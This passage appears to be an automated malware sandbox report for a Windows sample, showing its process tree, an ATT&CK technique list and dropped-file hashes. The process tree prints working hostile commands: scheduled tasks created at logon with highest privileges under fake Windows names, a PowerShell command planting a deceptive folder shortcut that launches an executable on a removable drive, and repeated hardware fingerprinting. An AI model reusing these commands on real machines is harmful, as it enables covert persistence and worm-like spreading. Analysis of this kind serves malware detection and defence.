  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Project_Files.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:7744
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:8176

C:\Windows\SystemApps\WindowsLicense_Manager.exe
C:\Windows\SystemApps\WindowsLicense_Manager.exe
1⤵
PID:1976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:6428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:5896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:8108
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsModules_Broker /tr C:\Windows\System32\wbem\WindowsModules_Install.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  PID:8140
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn ServiceHost_LocalService /tr C:\Windows\System32\Tasks\MicrosoftEdge\WindowsShell_Manager.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6392
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsShell_Engine /tr C:\Windows\Media\WindowsPush_Agent.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8148
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:3636
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:2644
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:5428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:7812
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:7588
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:7780
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  PID:6280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:7960

C:\Windows\Inf\WindowsDefender_Update.exe
C:\Windows\Inf\WindowsDefender_Update.exe
1⤵
PID:3392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:6136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:6152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:7360

C:\Windows\Help\WindowsManager_Service.exe
C:\Windows\Help\WindowsManager_Service.exe
1⤵
PID:2548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:6676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:7740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:1540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:7604
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsModules_Helper /tr C:\Windows\System32\oobe\WindowsShell_Helper.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:8048

C:\Windows\security\WindowsModules_Service.exe
C:\Windows\security\WindowsModules_Service.exe
1⤵
PID:5884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:6428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:5216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:7780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:7992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:512

C:\Windows\System32\oobe\WindowsPush_Agent.exe
C:\Windows\System32\oobe\WindowsPush_Agent.exe
1⤵
PID:5316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:6524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:1364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:7396
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsPush_Checker /tr "C:\Program Files\Common Files\WindowsPush_Service.exe" /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7568
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn ServiceHost_NetworkService /tr "C:\Program Files\Windows NT\DcomServer_Service.exe" /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2516
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn ServiceHost_NetworkService /tr C:\Windows\System32\Tasks\ServiceHost_LocalService.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7392
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:2920
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:3100
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:6732
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  - Executes a command shell one-liner
  PID:3744
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:7412
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  PID:5580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:760

C:\Windows\ModemLogs\WindowsLicense_Service.exe
C:\Windows\ModemLogs\WindowsLicense_Service.exe
1⤵
PID:5324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:6536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:1764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7624
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:6424
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:6560
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  PID:1628
- C:\Windows\system32\cmd.exe
  cmd /c ver
  2⤵
  - Executes a command shell one-liner
  PID:5644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:6556
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:6736
- C:\Windows\system32\cmd.exe
  cmd /c "vol %systemdrive% 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:4868

C:\Windows\System32\catroot\DeviceAssociation_Broker.exe
C:\Windows\System32\catroot\DeviceAssociation_Broker.exe
1⤵
PID:2776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:6644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:5772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:6828
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn DataCenter_Service /tr "C:\ProgramData\Microsoft\Windows\Start Menu\WindowsLicense_Checker.exe" /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7244
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn Edge_Update_Broker /tr C:\ProgramData\Microsoft\Windows\WindowsShell_Manager.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  PID:7264
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn SystemConfig_Engine /tr C:\Users\Public\Music\BackgroundTransfer_Service.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command (Get-Culture).Name
  2⤵
  PID:8004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Get-CimInstance Win32_PnPEntity | Where-Object { $_.PNPClass -eq 'Camera' -or $_.PNPClass -eq 'Image' } | Select-Object -ExpandProperty Caption"
  2⤵
  PID:7924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_Battery).EstimatedChargeRemaining"
  2⤵
  PID:3148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -NonInteractive -Command "try { $p=New-Object -ComObject WMPlayer.OCX; Write-Output $p.settings.volume; [Runtime.InteropServices.Marshal]::ReleaseComObject($p) } catch { Write-Output 50 }"
  2⤵
  PID:3224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "$ws = New-Object -ComObject WScript.Shell; $sc = $ws.CreateShortcut('F:\Backup_2025.lnk'); $sc.TargetPath = 'F:\DCIM_001.exe'; $sc.WorkingDirectory = 'F:\'; $sc.Description = 'Open folder'; $sc.IconLocation = 'C:\Windows\system32\SHELL32.dll, 3'; $sc.Hotkey = 'Ctrl+Shift+E'; $sc.WindowStyle = 7; $sc.Save()"
  2⤵
  PID:7584
- C:\Windows\system32\cscript.exe
  cscript //nologo F:\svc.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5192

C:\Windows\System32\Tasks\Windows\WindowsPush_Client.exe
C:\Windows\System32\Tasks\Windows\WindowsPush_Client.exe
1⤵
PID:5716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:3840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:7924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:4676

C:\ProgramData\Microsoft\Windows\Start Menu\WindowsManager_Service.exe
"C:\ProgramData\Microsoft\Windows\Start Menu\WindowsManager_Service.exe"
1⤵
PID:516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:3224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:5564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:220
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsModules_Config /tr C:\ProgramData\Microsoft\Windows\WindowsLicense_Checker.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  PID:7968
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsDefender_Update /tr C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsSecurity_Provider.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4452
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsUpdate_Client /tr C:\Users\Public\Documents\WindowsModules_Install.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7812
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:5604
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:6524

C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsUpdate_Client.exe
C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsUpdate_Client.exe
1⤵
PID:5856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:3884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:4620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  PID:3712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:3300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:8008
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn TaskScheduler_Engine /tr C:\ProgramData\Microsoft\Windows\WindowsUpdate\WindowsShell_Installer.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7740
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsModules_Helper /tr "C:\ProgramData\Microsoft\Windows\Start Menu\WindowsLicense_Manager.exe" /sc ONLOGON /rl HIGHEST /f
  2⤵
  PID:7996
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn ComSurrogate_Service /tr C:\Windows\SystemApps\WindowsShell_Provider.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  PID:3660
- C:\Windows\system32\cmd.exe
  cmd /c "wmic csproduct get uuid"
  2⤵
  PID:2948
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:1928

C:\ProgramData\Microsoft\Diagnosis\WindowsPush_Manager.exe
C:\ProgramData\Microsoft\Diagnosis\WindowsPush_Manager.exe
1⤵
PID:5136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:6412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:8032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true}).MACAddress"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_BIOS).SerialNumber"
  2⤵
  PID:7096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).Model"
  2⤵
  PID:4816
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn WindowsShell_Experience /tr C:\Windows\Temp\WindowsPush_Provider.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7420
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn ServiceHost_Network /tr C:\ProgramData\Microsoft\Windows\WindowsUpdate\ServiceHost_LocalSystem.exe /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:512
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn DataCenter_Service /tr "C:\Program Files\Windows NT\HostProcess_Service.exe" /sc ONLOGON /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:7232

C:\Windows\System32\Tasks\Microsoft\WindowsPush_Agent.exe
C:\Windows\System32\Tasks\Microsoft\WindowsPush_Agent.exe
1⤵
PID:5596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:7540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:6652

C:\Windows\L2Schemas\TaskScheduler_Engine.exe
C:\Windows\L2Schemas\TaskScheduler_Engine.exe
1⤵
PID:6384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:7980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:3560

C:\Windows\SoftwareDistribution\WindowsUpdate_Client.exe
C:\Windows\SoftwareDistribution\WindowsUpdate_Client.exe
1⤵
PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:7256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:7640

C:\ProgramData\Microsoft\Windows\WindowsDefender_Update.exe
C:\ProgramData\Microsoft\Windows\WindowsDefender_Update.exe
1⤵
PID:6148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:7888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:6168

C:\Windows\System32\Tasks\Microsoft\NetworkBroker_Update.exe
C:\Windows\System32\Tasks\Microsoft\NetworkBroker_Update.exe
1⤵
PID:4288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:7688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6784

C:\Windows\Media\NetworkBroker_Update.exe
C:\Windows\Media\NetworkBroker_Update.exe
1⤵
PID:6192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:7220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:5152

C:\Windows\ModemLogs\WindowsUpdate_Client.exe
C:\Windows\ModemLogs\WindowsUpdate_Client.exe
1⤵
PID:6572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_DiskDrive | Measure-Object -Property Size -Sum).Sum / 1GB"
  2⤵
  PID:5548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory / 1GB"
  2⤵
  PID:1164

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:4032

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:5312

C:\Windows\SoftwareDistribution\ServiceHost_LocalService.exe
C:\Windows\SoftwareDistribution\ServiceHost_LocalService.exe
1⤵
PID:6732

C:\Program Files (x86)\Common Files\WindowsShell_Broker.exe
"C:\Program Files (x86)\Common Files\WindowsShell_Broker.exe"
1⤵
PID:3148

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:7216

C:\Users\Public\Music\BackgroundTransfer_Service.exe
C:\Users\Public\Music\BackgroundTransfer_Service.exe
1⤵
PID:3976

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:6184

C:\ProgramData\Microsoft\Windows\Start Menu\WindowsLicense_Manager.exe
"C:\ProgramData\Microsoft\Windows\Start Menu\WindowsLicense_Manager.exe"
1⤵
PID:2980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WindowsUpdate_Client.exe

Path C:\ProgramData\Microsoft\Windows\Start Menu\WindowsUpdate_Client.exe
Size 11.2MB
SHA256 c5ac2939f0eae52051b2bd1cdc7fa761e1526aacbe81a61263ede5bdd9d5d048
MD5 6b4be3ff6001324b85d8a28ae9ea9686
SHA1 91c630b30b6e70a8f419b2fa7302679492400fa1
SHA512 9f1f98300ce50351e3fc2d5e81b117cd901434ebb8d1822f566af2c1488d3b10b387e77aad9eaf057bbfc1dbbed01f2bd6c4aac976b4a59b03b4242a72c60202
SSDEEP 98304:5xDs4sOkM+OP5oF8hg4PnpU0DA5t3NIDE+XR60+E+3:5mF+PfDA9IDb7M
TLSH
T102C63A47ECA515E4C0ADC1B5CA269562BF723C880B3063D36B51F6292F37BD0AEB9750
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
MD5 223bd4ae02766ddc32e6145fd1a29301
SHA1 900cfd6526d7e33fb4039a1cc2790ea049bc2c5b
SHA512 648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc
TLSH
T10A610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

WMSDKNS.XML

Path C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML
Size 9KB
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
